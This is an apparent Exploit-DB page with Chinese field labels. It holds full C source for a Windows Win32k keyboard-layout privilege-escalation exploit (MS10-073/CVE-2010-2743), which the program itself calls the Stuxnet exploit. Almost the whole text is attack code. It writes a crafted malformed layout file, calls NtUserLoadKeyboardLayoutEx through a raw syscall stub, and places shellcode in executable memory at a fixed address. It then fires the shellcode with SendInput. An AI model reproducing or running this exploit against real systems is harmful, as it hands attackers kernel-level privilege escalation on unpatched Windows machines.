Microsoft Win32k – Keyboard Layout (MS10-073)

  • 作者: Ruben Santamarta
    日期: 2011-01-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15985/
  • // My koala is staring at youCºgºD
    // Source: http://reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1
    
    
    #include <windows.h>
    #include <stdio.h>
    #include <ntsecapi.h>
    
    
    #define MAGIC_OFFSET 0x6261
    
    #define InitializeUnicodeStr(p,s) {		\
     (p)->Length= wcslen(s)*2;			\
     (p)->MaximumLength = wcslen(s)*2+2;	\
     (p)->Buffer = s;				\
     }
    
    
    _declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
    (
     IN HANDLE Handle,
     IN DWORD offTable,
     IN PUNICODE_STRING puszKeyboardName,
     IN HKL hKL,
     IN PUNICODE_STRING puszKLID,
     IN DWORD dwKLID,
     IN UINT Flags 
    )
    {
    	__asm
    	{
    		mov eax, 000011c6h
    		mov edx, 7ffe0300h
    		call dword ptr [edx]
    		retn 1Ch
    	}
    }
    
    
    unsigned char shellcode[]="\x90\x90\x90\x90\xC2\x0C\x00\x90\x90";
    
    unsigned char fakeDll[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00"
    						"\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x94\x01\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    						"\x00\x00\x00\x00\x00\x00";
    
    int main(int argc, CHAR* argv[])
    {
    	
    	UNICODE_STRING	uStr;
    
    	KEYBDINPUT		kb={0};
    	INPUT			vInput={0};
    	
    	HANDLE			hFile;
    	DWORD			dwFuckS0ny;
    	
    	HKL				hKbd;
    	
    	WCHAR			lpPath[MAX_PATH]={0};
    	WCHAR			lpLayoutFile[MAX_PATH]={0};
    
    	LPVOID			lpShellPtr;
    
    
    
    	printf("\n\nStuxnet MS10-073/CVE-2010-2743 Exploit\n");
    	printf("Ruben Santamarta - www.reversemode.com\n\n");
    	
    	
    
    	LoadLibraryA("user32.dll");
    
    	InitializeUnicodeStr(&uStr,L"pwn3d.dll");
    
    	GetTempPathW( MAX_PATH, lpPath );
    
    	wsprintf( lpLayoutFile, L"%lSp0wns.boom", lpPath);
    
    
    	hFile = CreateFileW(lpLayoutFile,
    						GENERIC_READ|GENERIC_WRITE,
    						FILE_SHARE_READ|FILE_SHARE_WRITE,
    						0,
    						CREATE_ALWAYS,
    						0,0);
    
    	if( hFile == INVALID_HANDLE_VALUE )
    	{
    		printf(" \n[!!] Error\n");
    		exit(0);
    	}
    
    	WriteFile(	hFile,
    				fakeDll,
    				sizeof(fakeDll)-1,
    				&dwFuckS0ny,
    				NULL);
    
    	printf("\n[+] Writing malformed kbd layout file \n\t\"%S\"\n\t[ %d ] bytes written\n",lpLayoutFile,dwFuckS0ny);
    	CloseHandle(hFile);
    
    	hFile = CreateFileW (lpLayoutFile,
    							GENERIC_READ,
    							FILE_SHARE_READ,
    							0,
    							OPEN_EXISTING,
    							0,0);
    
    	if( hFile == INVALID_HANDLE_VALUE )
    	{
    		printf(" \n[!!] Error\n");
    		exit(0);
    	}
    	
    	hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );
    	
    
    	printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x01AE0160, NULL, hKbd, &uStr, 0x666, 0x101 ) );
    
    	lpShellPtr = VirtualAlloc( (LPVOID)0x60630000, 
    								0xF000, 
    								MEM_COMMIT|MEM_RESERVE, 
    								PAGE_EXECUTE_READWRITE);
    
    	printf("\n[+] Allocating memory...");
    
    	if( !lpShellPtr )
    	{
    
    		printf("[!!] Error %x\n",GetLastError());
    		exit(0);
    
    	}else{
    
    		printf("[ OK ]\n");
    
    	}
    	
    	memset( lpShellPtr, 0x90, 0xF000);
    
    	memcpy( ( void* )( ( ULONG_PTR ) lpShellPtr + MAGIC_OFFSET ),
    			( const void* )shellcode, 
    			sizeof( shellcode ) - 1 );
    
    	kb.wVk = 0x0;
    	vInput.type= INPUT_KEYBOARD;
    	vInput.ki= kb;
    
    	printf("\n[+] Triggering shellcode...");
    	SendInput( 1, ( LPINPUT ) &vInput, sizeof( INPUT ) );
    
    	printf("\n[+] Done\n");
    
    	return 0;
    }